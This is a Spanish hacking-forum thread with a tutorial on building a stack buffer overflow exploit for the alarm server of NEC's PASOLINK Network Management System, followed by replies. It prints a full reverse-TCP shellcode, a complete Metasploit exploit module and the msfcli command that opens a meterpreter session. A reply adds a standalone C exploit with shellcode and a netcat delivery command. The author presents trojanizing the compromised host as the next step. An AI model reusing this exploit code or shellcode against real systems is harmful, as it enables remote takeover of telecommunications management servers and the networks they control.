Test Foro de elhacker.net SMF 2.1

Introducción

En el presente articulo se detalla y explica la manera en la cual se realiza un exploit con un programa real propietario, el programa objetivo de este análisis es un gestor de plataformas de telecomunicaciones para este caso hablamos del PASOLINK Network Management System (PNMS) de NEC, el cual es un sistema de gestión de equipos de radio, la versión de los clientes y la disponibilidad de los mismos será omitida por obvias razones. Como todo administrador de gestión de radio posee 2 capas a nivel de producción, el primero el mas tangible al usuario que es precisamente el sistema de gestión y todo lo que este engloba, la segunda es un servidor a nivel de tcp el cual la mayor parte de las veces sirve como socket de entrega de alarmas por un puerto determinado.

Este es un protocolo muy común en varias plataformas de gestión de telecomunicaciones, para muestras basta analizar los sistemas de gestión tales como los desarrollados por CastleRock (SNMPcOnLine en todas sus variantes http://www.castlerock.com/) el cual de la misma manera en la cual recolecta las alarmas vía SNMP, también poseen mecanismos de entrega, utilizando sencillos sockets, los cuales por difícil que parezca carecen de las mas mínimas recomendaciones de programación segura.

Cuando hablamos de aprovechar fallos de seguridad en una intranet se comete el error de buscar vulnerabilidades en entornos ya muy controlados, los IDS's o IPS's en sus diferente versiones, ya sean appliance o a nivel de software, dificultan de una manera increíble el trabajo de explotación, sin embargo hay que aprender que la búsqueda no comienza por lo ya de por si trillado, si no por aquello que intuitivamente sería o debería ser mas difícil de vulnerar: en este caso y como en la mayor parte de los artículos que he dado a conocer, la capa mas vulnerable es aquella que es difícil supuestamente de corromper: los sistemas de gestión.

Herramientas y Objetivos

Bien, el objetivo del presente artículo, no es detallar una intrusión haciendo uso de exploits que quedan fuera de nuestro entendimiento, el objetivo es explicar, el análisis inicial y final durante el desarrollo de un exploit haciendo uso de API's que nos faciliten su desarrollo y analisis. Para ello utilizaremos las siguientes herramientas:

• MetaSploit Framework: nos facilitará la generación de la cadena a inyectar en nuestro Exploit final, este posee a su vez las siguientes herramientas que describiré de manera sustancial:

       
                 

• Msfopcode (Cliente de la base de datos de opcodes de Metasploit)
• El servidor extraído directamente del PNMS: El cual es el programa vulnerable, disponible desde aquí: wget http://jesusssx.files.wordpress.com/2010/05/serverpnms.jpg (Cambiar la extensión a .exe)
  
• OllyDBG: El debugger necesario para conocer el estado del stack y las direcciones de la misma.
• WinDBG: Un debugger que nos ayudara a conocer el contenido puntual de los registros del sistema.

Obviamente no contamos con el código fuente del pequeño servidor, sin embargo no es necesario, basta con saber como funciona. El programa se ejecuta de la siguiente manera:


Con esto el servidor se encuentra en escucha, tal cual lo hace el PNMS real, el funcionamiento original de este programa es entregar alarmas mediante el puerto que se especifica luego del nombre, se implementa un protocolo propietario, en el cual se envían señales sync y ack de manera secuencial, el servidor responde y comienza el intercambio de alarmas. El cliente se conectaría de manera sencilla de la siguiente manera.


Probando Vulnerabilidades

Evidentemente no tenemos conexión al sistema de gestión por ello no se reciben alertas, eso es lo que menos importa, vamos a probar el típico buffer overflow enviando una cadena enorme de caracteres:

Con esto enviamos 1024 veces el caracter "b" al socket, se sabe que existe un desbordamiento de pila pues el socket aun cuando se encuentra arriba ya no responde ninguna instrucción como antes lo hacia, cuando terminamos la conexión enviando un Control + C, observamos lo que ocurre en nuestro servidor PNMS:


Armando el Exploit

En efecto, existe un desbordamiento de pila, el cual sobreescribe e 62 el equivalente  en Hexadecimal a "b". El punto sensible ahora es conocer en donde se encuentra desbordando la pila para realizar el exploit que aproveche esta vulnerabilidad la cual evidentemente es muy inocentemente un descuido en el tamaño del buffer. El típico y muy conocido error es el decuido del buffer de lectura. Para conocer un poco mas acerca del desbordamiento de pila, he aquí el paper oficial publicado por Aleph One: (Smashing The Stack For Fun And Profit).

http://insecure.org/stf/smashstack.html

Necesitamos entonces conocer el significado reducido y solo por recordar, de los registros mas importantes, los cuales juegan un papel muy importante durante la generación del exploit:

   

       
• EBP (extended base pointer)
• ESI (extended source index)
• EDI (extended destination index)
• ESP (extended stack pointer)
• EIP (enhanced instruction pointer) Apunta a la  siguiente instrucción a se ejecutada.
  

Para ello usaremos OllyDBG con el fin de encontrar el crash a nivel de stack, se vuelve a ejecutar el Servidor y en OllyDBG se attachea el proceso del servidor haciendo clic en file->attach y seleccionamos "ServerPNMS" una vez cargado el programa realizaremos el buffer overflow enviando de nuevo 1024 veces algún caracter (en este caso "b") y observamos la pila:


Observemos el stack para saber a partir de que dirección con exactitud se encuentra el desbordamiento del buffer:


Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante. Para esto haremos uso del MetaSploit y de las siguientes 3 herramientas:

   

• Mspayload (Generador de PAYLOADS de  Metasploit)
• Pattern_create (Genera una cadena con cierto  patrón, utilizada para encontrar las direcciones  offset)
• Pattern_offset (Calcula el offset de una cadena  específica)

Primeramente generaremos una cadena de 1024 bits para conocer en donde el EIP comienza a ser sobreescrito, pues necesitamos conocer la manera de escribir el EIP de la manera que mas nos convenga, para ello haremos uso de las las herramientas pattern_create.rb y pattern_offset.rb de Metasploit:

Veamos con WinDBG la dirección del EIP:


Debemos calcular el desplazamiento pues necesitamos saber en que momento reescribiremos el EIP, para ello usaremos pattern_offset haciendo uso de la info arrojada por WinDBG:


Por lo tanto observamos que a partir del carácter 524 se inicia la escritura del registro EIP ahora analicemos el contenido del registro ESP.


La dirección del ESP es: 0022fd70 el contiene: Ar6Ar, pasemos ese valor pattern_offset:


Podemos notar que a partir del carácter 528 se inicia la escritura del registro ESP, que es donde precisamente debe estar nuestro Payload. Entonces nuestro buffer debe ser:

[NOPs][shellcode][return address] total: 524 bytes.

Para ejemplificar lo que hará el Metasploit en la generación de la cadena resultante correspondiente al shellcode que se introducirá en el buffer destinado para ello usaremos la interfaz web y seleccionaremos Windows Command Shell, Reverse TCP Inline, esto para asegurar el acceso en caso de que el equipo vulnerado tenga el firewall activado:


Resumiendo: debemos indicarle al EIP que ejecute el Payload que se encuentra en ESP, para ello EIP debe contener la dirección de memoria a donde se encuentra el Payload y que a su vez apunte a una instrucción JMP ESP, normalmente deberíamos realizar nuestra propia optimización de código sin embargo para ello en esta ocasión utilizaremos la base de datos de opcodes de Metasploit. Así que llenamos los datos que se piden y damos clic en generar.

De esta manera obtenemos la siguiente cadena a inyectar:

*/
* windows/shell_reverse_tcp - 504 bytes
* http://www.metasploit.com
* Encoder: x86/shikata_ga_nai
* NOP gen: x86/opty2
* LHOST=192.168.1.77, LPORT=4444, ReverseConnectRetries=5,
* EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x99\xbf\x7c\x43\x73\x47\x7f\x0d\x90\x1c\x25\xb1\xbe\x91\x9b"
"\x2d\x41\x4f\xb5\xb3\x20\xd1\xe0\x7b\x2f\xb6\x75\x39\xd4\x05"
"\x3b\xfd\xba\x37\x40\x66\x10\xe3\x30\xf9\x6b\xd5\x79\x74\x0c"
"\xa8\x89\xe0\x13\xc1\xe2\x04\x98\x9f\xb9\x73\x3f\xb0\x7f\x46"
"\xa9\x7c\x4a\x7b\x3d\x97\x71\x35\xb7\x78\x2c\x75\x19\xe1\x1d"
"\x83\xf9\x7a\x3c\x72\x2c\x35\x97\x4f\xb4\x7d\x37\x0b\xff\xc0"
"\xf8\xa8\x48\x92\x96\x02\xe3\x3d\x25\x24\x99\xb7\x7e\x15\xb2"
"\xb0\x76\x18\xd4\x4a\x70\x27\x91\xfc\x9b\x43\x2f\x3f\xb8\x2d"
"\x93\x67\xba\x84\xfd\xb6\x22\xf5\x40\x42\x14\x47\x4e\x98\x1c"
"\x0d\xb9\xbb\x32\xeb\x0c\x8d\xbf\xa9\x05\xb3\xbe\x34\x4b\x21"
"\xd6\xb5\x77\x04\x46\x9f\x49\x66\xb1\x90\x3a\xd5\x41\x29\xc9"
"\xbf\x92\xd9\xae\x85\xb1\x4f\xda\xc5\xd9\x74\x24\xf4\x5a\x83"
"\xea\xfc\x31\x7a\x0c\x03\x7a\x0c\x70\x2c\x52\x6d\xfd\xcf\xab"
"\x6e\x9d\x46\x4e\x5f\x8f\x3d\x1a\xf2\x1f\x35\x4e\xff\xd4\x1b"
"\x7b\x74\x98\xb3\x8c\x3d\x16\xe2\xa3\xbe\x97\x2a\x6f\x7c\xb6"
"\xd6\x72\x51\x18\xe6\xbc\xa4\x59\x2f\xa0\x47\x0b\xf8\xae\xfa"
"\xbb\x8d\xf3\xc6\xba\x41\x78\x76\xc4\xe4\xbf\x03\x7e\xe6\xef"
"\xbc\xf5\xa0\x17\xb6\x51\x11\x29\x1b\x82\x6d\x60\x10\x70\x05"
"\x73\xf0\x49\xe6\x45\x3c\x05\xd9\x69\xb1\x54\x1d\x4d\x2a\x23"
"\x55\xad\xd7\x33\xae\xcf\x03\xb6\x33\x77\xc7\x60\x90\x89\x04"
"\xf6\x53\x85\xe1\x7d\x3b\x8a\xf4\x52\x37\xb6\x7d\x55\x98\x3e"
"\xc5\x71\x3c\x1a\x9d\x18\x65\xc6\x70\x25\x75\xae\x2d\x83\xfd"
"\x5d\x39\xb5\x5f\x0a\x8e\x8b\x5f\xca\x98\x9c\x2c\xf8\x07\x36"
"\xbb\xb0\xc0\x90\x3c\xb6\xfa\x64\xd2\x49\x05\x94\xfa\x8d\x51"
"\xc4\x94\x24\xda\x8f\x64\xc8\x0f\x1f\x35\x66\xe0\xdf\xe5\xc6"
"\x50\xb7\xef\xc8\x8f\xa7\x0f\x03\xa6\xe0\x98\x6c\x11\xef\x15"
"\x05\x60\xef\xb4\x89\xed\x09\xdc\x21\xb8\x82\x49\xdb\xe1\x58"
"\xeb\x24\x3c\xc8\x88\xb7\xdb\x08\xc6\xab\x73\x5f\x8f\x1a\x8a"
"\x35\x3d\x04\x24\x2b\xbc\xd0\x0f\xef\x1b\x21\x91\xee\xee\x1d"
"\xb5\xe0\x36\x9d\xf1\x54\xe7\xc8\xaf\x02\x41\xa3\x01\xfc\x1b"
"\x18\xc8\x68\xdd\x52\xcb\xee\xe2\xbe\xbd\x0e\x52\x17\xf8\x31"
"\x5b\xff\x0c\x4a\x81\x9f\xf3\x81\x01\xaf\xb9\x8b\x20\x38\x64"
"\x5e\x71\x25\x97\xb5\xb6\x50\x14\x3f\x47\xa7\x04\x4a\x42\xe3"
"\x82\xa7\x3e\x7c\x67\xc7\xed\x7d\xa2";

Dejaremos 20 lugares para introducir los NOP's y asegurar que nuestro salto sea tomado de manera adecuada. En este momento ya tenemos entonces la información necesaria para ensamblar nuestro exploit:

   

       
• Información General para el Payload
• Dirección de salto: 0x0022fb64 (para asegurar nuestro salto)
• Tamaño total de la cadena: 524 bytes.
• Caracteres no válidos:  \x00\x20\x0D\x0A

   
• Plataforma: Windows
• Objetivos:  Windows
• Método Exploit: Reverse Shell TCP

Pasaremos al ensamblado del exploit, para ello utilizaremos la versión mas actual de este software la cual es  metasploit v3.4.0-dev [core:3.4 api:1.0], haremos uso de la API para desarrollar Exploits, que como sabemos nos facilitará de manera enorme la realización de la cadena final a inyectar. Comenzamos a realizar el script inicial, que desbordará la pila sin especificar los datos importantes tales como el payload y la dirección de retorno, las partes de un exploit en el metasploit son las siguientes:

   
• Comentarios
• Dependencias
• Definición de las clases
• Inclusiones
• Método del Constructor

   
• Nombre del exploit.
• Descripción del exploit.
• Mas datos sobre el exploit

Ensamblando el script para el Metasploit y una vez explicadas cada una de los apartados que debe contener, nuestro exploit quedará de la siguiente manera: (En mi caso el script queda en la siguiente ruta: /opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb)


require 'msf/core'
  #  clase principal                                                                                                                                               
  class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::Remote::Tcp

    # informacion de todo el exploit
    def initialize(info = {})
      super(update_info(info,
                        'Name'           => 'exploit PNMS',
                        'Description'    => 'exploit PNMS',
                        'Author'         => 'cggj',
                        'Version'        => '1.0',
                        'Payload'        =>
                        {
                          'Space'    => 504, # espacio que usa el payload.
                          'StackAdjustment' => -3500,#modifica el stack pointer de donde inicia el shellcode
                          'BadChars' => "\x00\x20\x0D\x0A", #caracteres que no debe poseer el shellcode
                        },
                        'Platform'   => 'win',
                        'Targets'    =>
                        [
                         [ 'Windows',
                             {
                               'Platform' =>'win',
                               'Ret' => 0x0022fb64 # direccion de retorno comienza en 0022fb60
                             }
                          ],
                        ],
                        'DefaultTarget' => 0))
    end
    end

    def check
      connect
      buf = "version\n"
      sock.put(buf)
      res = sock.get
      disconnect
      if res =~ /bof-server v0.01/
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Safe
    end

    def exploit
      connect
      buf = payload.encoded # Invocamos el Payload definido en el apartado Payload.
      buf << make_nops(20) #  Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS
      buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP
      sock.put(buf) # Envio de datos
      sock.get
      handler # Transfiere la conexion al handler del Payload
      disconnect #Termina la conexion
    end
end


Básicamente en el método exploit se define la manera en la cual se comenzará el ataque, primero conectamos con la víctima, posteriormente se crea un buffer con nuestro Payload, el cual queda regido por las propiedades definidas en la especificación del mismo. Posteriormente se añaden 20 NOP's (x90) recordemos que el tamaño destinado a nuestro Payload fue de 504 bytes cuando necesitamos de 524 bytes, al final se agrega la dirección de retorno EIP [target.ret].pack('V'), enviamos los datos y ejecutamos el manejador (handler), para al finalizar desconectar.

Veamos su ejecución en consola (MSFCLI) para verificar que todos los datos introducidos son correctos:
(El comando a ejecutar será:

msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E

De esta manera especificamos nuestro exploit: PNMS, el Payload a aplicar, el puerto remoto y finalmente nuestros hosts, tanto de la víctima como el del atacante.


Como se puede observar, el exploit funciona de manera adecuada levantando una sesión remota en el servidor que aloja el PNMS, con privilegios del ejecutor de dicho programa. Ya con una Shell solo queda elevar privilegios si es que es necesario y troyanizar según se necesite.

http://jesusssx.wordpress.com

Wow...  :D :D :D... leyendo  ;-) ;-) ;-)

Buena info,aunque no deja de ser uno de los muchos manuales que hay por la red,pero aun asi gracias por la info.

salu2! ;)

Y esta personita: "verjo" ..... cuales son tus aportes que no vayan mas allá de simples cuestiones y respuestas mediaticas en los temas en donde ilusamente intentas "ayudar"? ¿De donde obtienes esa osadía para intentar denigrar un aporte con tal inferioridad? supongo que la ignorancia arrastra tu ego y los factores exógenos que inundan tu pobre y compasiva percepción te hacen creer que eres un megalomano, sin dejarte ver que esa actitud solo te hace ver como un frustrado ignorante.

No agradezcas lo que no entiendes, no te humilles con osadia irresponsable porque solo te descubres como un triste carcamán.

-----------------------------------------------------------------------------------------------------------
Publicado por: verjo
Insertar Cita
Buena info,aunque no deja de ser uno de los muchos manuales que hay por la red,pero aun asi gracias por la info.

salu2! ;)

No le hagas caso.. asi hay gente en todos lados. .gente que critica lo que haces porque ellos no lo pueden hacer..

La forma en la que manejas las palabras.. es simplemente  :o 


Increible manual.. porque simplemente es excelente.. es un programa no muy conocido

CitarPASOLINK Network Management System (PNMS) de NEC

pero eso le da mas interés porque a diferencia de otros, haces tu propio exploit... y exitosamente, te infiltras en la máquina

saludos

Me ha gustado mucho tu tutorial, pero sin animo de ofender por favor me podrias explicar estos tres puntos?

1. Uso del Windbg
2. Donde guardas el payload generado?
3. Donde esta el editor para crear el exploit?

He intentado pero no he lograo ninguna de las tres. Saludos

[OFFTOPIC]

Cita de: cggj en  7 Mayo 2010, 18:40 PM
Y esta personita: "verjo" ..... cuales son tus aportes que no vayan mas allá de simples cuestiones y respuestas mediaticas en los temas en donde ilusamente intentas "ayudar"? ¿De donde obtienes esa osadía para intentar denigrar un aporte con tal inferioridad? supongo que la ignorancia arrastra tu ego y los factores exógenos que inundan tu pobre y compasiva percepción te hacen creer que eres un megalomano, sin dejarte ver que esa actitud solo te hace ver como un frustrado ignorante.

No agradezcas lo que no entiendes, no te humilles con osadia irresponsable porque solo te descubres como un triste carcamán.

Joder, eso si es hablar  ;-):

http://es.wikipedia.org/wiki/Megaloman%C3%ADa
http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&LEMA=ex%F3geno

---

Con referente al artículo, me gustó mucho, no conocía las funcionalidades de metasploit, y parece que simplifican bastante el trabajo  :P.

Saludos

Hola, por supuesto que no es ninguna ofensa:

1.- Windbg es un debugger que puedes descargar desde aqui:
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
Las herramientas de debugging de Windows básicamente poseen los siguienes componentes:

KD.exe – Eel cual es un debugger a nivel de kernel (existen debuggers a nivel de kernel y usuario).
CDB.exe – Es la línea de comandos de WinDBG
NTSD – Es el NT debugger. Sirve para debuggear aplicaciones a nivel usuario.
Windbg – Es la interfaz gráfica que integra los componentes anteriores.

En este artículo lo que hacemos es attachear el proceso del socket al debugger para ver el stack en tiempo de ejecución y utilizamos los comandos dd y run (g) para darle continuidad al programa mientras examinamos el contenido de la pila en direcciones específicas. Aqui un sencillo tutorial:

http://debuggingblog.com/wp/2008/10/31/beginner-guide-to-windbg-part-1/

2.- El Payload no se guarda en ningún lugar, lo invocamos según las propiedades descritas en el método "exploit":

    def exploit
      connect
      buf = payload.encoded # Invocamos el Payload definido en el apartado Payload.
      buf << make_nops(20) #  Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS
      buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP
      sock.put(buf) # Envio de datos
      sock.get
      handler # Transfiere la conexion al handler del Payload
      disconnect #Termina la conexion
    end


3.- Para editar tu exploit final puedes utilizar el editor que quieras :) el lugar donde lo colocas es sensible para que el metasploit pueda verlo, los exploits se colocan bajo:

/opt/metasploit3/msf3/modules/exploits

Por lo tanto para este caso el exploit se encuentra bajo:

/opt/metasploit3/msf3/modules/exploits/windows/misc/

y se llama PNMS.rb, cuando se hace referencia hacia él, se realiza la referencia sin la extensión:

msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E

y como te digo puedes utilizar cualquier editor poniendole la extensión *.rb y colocandolo bajo la parte que le corresponda.

Saludos !!

Cita de: soez en  8 Mayo 2010, 19:41 PM
Me ha gustado mucho tu tutorial, pero sin animo de ofender por favor me podrias explicar estos tres puntos?

1. Uso del Windbg
2. Donde guardas el payload generado?
3. Donde esta el editor para crear el exploit?

He intentado pero no he lograo ninguna de las tres. Saludos

Muy buen tuto... felicitaciones. Es bueno ver personas nuevas haciendo buenos aportes.

Awesome!!!  ::)

El tutorial te quedo muy bien Cggj, se ve que tienes los conocimientos y el espíritu de un hacker...

Todo quedo bien detallado y las escrituras de una forma profesional, como suelen escribir los hackers de la red, en dado caso que quieras mejorarlo podrías pasarlo a un PDF y añadirle copyright.

El depurador OllyDBG es muy usado en este campo de la seguridad informática, especialmente cuando son vulnerabilidades a nivel de memoria, más que todo las que están relacionadas con los desbordamientos de memoria, los ataques de formato de cadena y los desbordamientos de montículo. Esta herramienta junto con un Fuzzer de BoF, como por ejemplo el famoso Bed que esta programado en perl, es muy efectiva cuando se trata de encontrar vulnerabilidades a nivel de memoria, uno ve en el depurador como se sobrescriben los registros (EIP, EBP...) y al mismo tiempo esta al tanto de los bytes que se le van incluyendo automáticamente mediante el Fuzzer.

Sigue así y pronto te veremos en lugares como Security-Focus y Offensive-Security (exploit-db), en donde los informáticos encuentran vulnerabilidades y postean sus exploits...

Saludos y felicidades por el tutorial.  ;-)  ;-)  ;-)

Bestial tio, de lo mejor que he visto, ahora ya no hay excusa para no empezar a crear exploits!

Saludos y gracias

Hola, ¿Cómo estas?, Te felicito por tan excelente tutorial.

tengo unas preguntas que hacerte porque hay algo que me pone en duda para realizar la practica del tutorial, es que en una parte dices que el Payload tiene que ser de 524, luego dices que tiene que ser de 528, pero a la final dice que tienes que generarlo con 504, ¿Porque sucede esto con que extension lo genero de verdad no lo entiendo?

Mi otra duda es ¿donde veo la dirección 62 ya que lo unico que veo son puros 42??

Citar
Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante.

Gracias por el tutorial la verdad estoy muy confundido y ya me he leido varios tutos porque quiero aprender sobre BOF, osea soy 100% novato en todo esto.

Excelente tutorial.

Dejo un exploit hecho en C siguiendo el tuto, aunque con mis propias herramientas. O sea, sin metasploit.

Saludos.

-------------------------------------------------------------------------------------------------

/**
* Remote Exploit for ServerPNMS.exe PSNM client 5.6
* Proof of concept
* Pasolink NEC Management System
*
* Developed: MrPoor <akelarregh@gmail.com>
* Discovered by Jesusssx at http://jesusssx.wordpress.com/
*
* References:
*  http://jesusssx.wordpress.com/category/seguridad-aplicativa/
*  Pasolink in NEC site: http://www.nec.com/global/prod/nw/pasolink/
*
* Use: gcc -o ExploitServerPNMS ExploitServerPNMS.c (Cygwin under Windows)
* nc 127.0.0.1 < exploit.txt
* Spawn a cmd shell or a calc.exe in the remote host. You must specifiy your own shellcode!
* See code for change the shellcode.

* Tecnical details:
* buffer size:524+ret+shellcode
* maxbuffersize: unknown
*
* Spain
* 20/1/2011
* Tweaked for Windows XP SP3 Spanish. Must touch the ret for you OS, and maybe the shellcodes
* Leave the script kiddies alone!
*/
#include <stdio.h>

int main (int argc, char ** argv){
    int i=0;
    FILE *f;
    f=fopen("exploit.txt", "wb+");
   
    char buffer[1024];

   /* Cmd.exe para Windows XP SP2 FR también funciona en Windows XP SP3 ES. */
    char shellcode[]=
    "\x8B\xEC\x33\xFF\x57"
    "\xC6\x45\xFC\x63\xC6\x45"
    "\xFD\x6D\xC6\x45\xFE\x64"
    "\xC6\x45\xF8\x01\x8D"
    "\x45\xFC\x50\xB8\xC7\x93"
    "\xBF\x77\xFF\xD0\x00";
   
   
   /* http://www.exploit-db.com/exploits/13571/   
    * By Mountassif Moad *
    * Works in Windows SP3 Spanish
    */
   unsigned char shellcode_calc[] =
   "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
   "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
   "\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x8D\x45"
   "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    /* Offset jmp esp kernel32.dll WinXP SP3 Esp */
    char offset[]="\x13\x44\x87\x7C";

    if (f==NULL){
      puts ("No se pudo crear el fichero");   
    }

    /* Rellenamos los primeros 524 bytes hasta llegar al RET */
    for (i;i<523;i++){
      fprintf (f, "%c", 0x42);
    }   
   
    strcat (buffer, offset);
    strcat (buffer, shellcode);

    fprintf (f, "%s", buffer);

    printf ("Cmd shell in .\\exploit.txt\n");   
    printf ("This create a cmd.exe in remote host! Change to your shellcode\n");
    printf ("Now: nc 127.0.0.1 3500 < exploit.txt");
    fclose(f);   
    return 0;
}
-------------------------------------------------------------------------------------------------

Cita de: MrPoor en 20 Enero 2011, 22:46 PM
Excelente tutorial.

Dejo un exploit hecho en C siguiendo el tuto, aunque con mis propias herramientas. O sea, sin metasploit.

Saludos.

-------------------------------------------------------------------------------------------------

/**
* Remote Exploit for ServerPNMS.exe PSNM client 5.6
* Proof of concept
* Pasolink NEC Management System
*
* Developed: MrPoor <akelarregh@gmail.com>
* Discovered by Jesusssx at http://jesusssx.wordpress.com/
*
* References:
*  http://jesusssx.wordpress.com/category/seguridad-aplicativa/
*  Pasolink in NEC site: http://www.nec.com/global/prod/nw/pasolink/
*
* Use: gcc -o ExploitServerPNMS ExploitServerPNMS.c (Cygwin under Windows)
* nc 127.0.0.1 < exploit.txt
* Spawn a cmd shell or a calc.exe in the remote host. You must specifiy your own shellcode!
* See code for change the shellcode.

* Tecnical details:
* buffer size:524+ret+shellcode
* maxbuffersize: unknown
*
* Spain
* 20/1/2011
* Tweaked for Windows XP SP3 Spanish. Must touch the ret for you OS, and maybe the shellcodes
* Leave the script kiddies alone!
*/
#include <stdio.h>

int main (int argc, char ** argv){
    int i=0;
    FILE *f;
    f=fopen("exploit.txt", "wb+");
   
    char buffer[1024];

   /* Cmd.exe para Windows XP SP2 FR también funciona en Windows XP SP3 ES. */
    char shellcode[]=
    "\x8B\xEC\x33\xFF\x57"
    "\xC6\x45\xFC\x63\xC6\x45"
    "\xFD\x6D\xC6\x45\xFE\x64"
    "\xC6\x45\xF8\x01\x8D"
    "\x45\xFC\x50\xB8\xC7\x93"
    "\xBF\x77\xFF\xD0\x00";
   
   
   /* http://www.exploit-db.com/exploits/13571/   
    * By Mountassif Moad *
    * Works in Windows SP3 Spanish
    */
   unsigned char shellcode_calc[] =
   "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
   "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
   "\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x8D\x45"
   "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    /* Offset jmp esp kernel32.dll WinXP SP3 Esp */
    char offset[]="\x13\x44\x87\x7C";

    if (f==NULL){
      puts ("No se pudo crear el fichero");   
    }

    /* Rellenamos los primeros 524 bytes hasta llegar al RET */
    for (i;i<523;i++){
      fprintf (f, "%c", 0x42);
    }   
   
    strcat (buffer, offset);
    strcat (buffer, shellcode);

    fprintf (f, "%s", buffer);

    printf ("Cmd shell in .\\exploit.txt\n");   
    printf ("This create a cmd.exe in remote host! Change to your shellcode\n");
    printf ("Now: nc 127.0.0.1 3500 < exploit.txt");
    fclose(f);   
    return 0;
}
-------------------------------------------------------------------------------------------------

Así es, sin la ayuda del engine del metasploit, que finalmente es perl, así quedaría el codigo escrito C, Muchas gracias por el aporte MrPoor.

Cita de: Di6it4Lj4ck4L en 24 Diciembre 2010, 05:59 AM
Hola, ¿Cómo estas?, Te felicito por tan excelente tutorial.

tengo unas preguntas que hacerte porque hay algo que me pone en duda para realizar la practica del tutorial, es que en una parte dices que el Payload tiene que ser de 524, luego dices que tiene que ser de 528, pero a la final dice que tienes que generarlo con 504, ¿Porque sucede esto con que extension lo genero de verdad no lo entiendo?

Mi otra duda es ¿donde veo la dirección 62 ya que lo unico que veo son puros 42??
Gracias por el tutorial la verdad estoy muy confundido y ya me he leido varios tutos porque quiero aprender sobre BOF, osea soy 100% novato en todo esto.

Hola que tal, perdona la tardanza de la respuesta, paso a responder:
Para obtener el número total de la cadena a inyectar, debemos obtener el lugar exacto donde se realiza el desbordamiento del buffer, el número 524 indica el caracter exacto donde se realiza la reescritura del registro EIP, para lograr esto basta con que realices el debug de la aplicación con WinDBG y analices la dirección de EIP, la cual es: 0x35724132, cuando analizamos ESP (la dirección claro) es cuando se obtiene el número 528, el cual representa el lugar donde se comienza a reescribir este registro, por lo tanto la cadena final debe ser:

[NOPs][shellcode][return address] total: 524 bytes.

Como sabes, siempre debes introducir una cadena de NOP's para asegurar que cuando se realiza el desbordamiento de buffer, la dirección a la que se brinca efectivamente posee instrucciones en asm validas (opcodes) para su ejecución, en este caso se ejecuta una shellcode. Por esta razón se introduce una cadena de 20 NOP's, los cuales puedes observar en el resumen final de la cadena a inyectar:

 

    * Información General para el Payload
    * Dirección de salto: 0x0022fb64 (para asegurar nuestro salto)
    * Tamaño total de la cadena: 524 bytes.
    * Caracteres no válidos:  \x00\x20\x0D\x0A
    * Plataforma: Windows
    * Objetivos:  Windows
    * Método Exploit: Reverse Shell TCP

Toda esa información se vacia en el script que describo en el tuto, el cual se encuentra en ruby y su extensión es .rb (/opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb).

Y del 62 y 42, eres muy observador, fue un error mio pues en la primera corrida del desbordamiento inyecte "b" (minúscula) la cual equivale a 62 hex y en la segunda inyecte "B" (mayúscula) la cual equivale a 42 hex. De cualquier manera, lo que importante es comprender en que momento se realiza la reescritura de los registros para poder realizar el payload.

Saludos y espero haber resuelto tus inquietudes.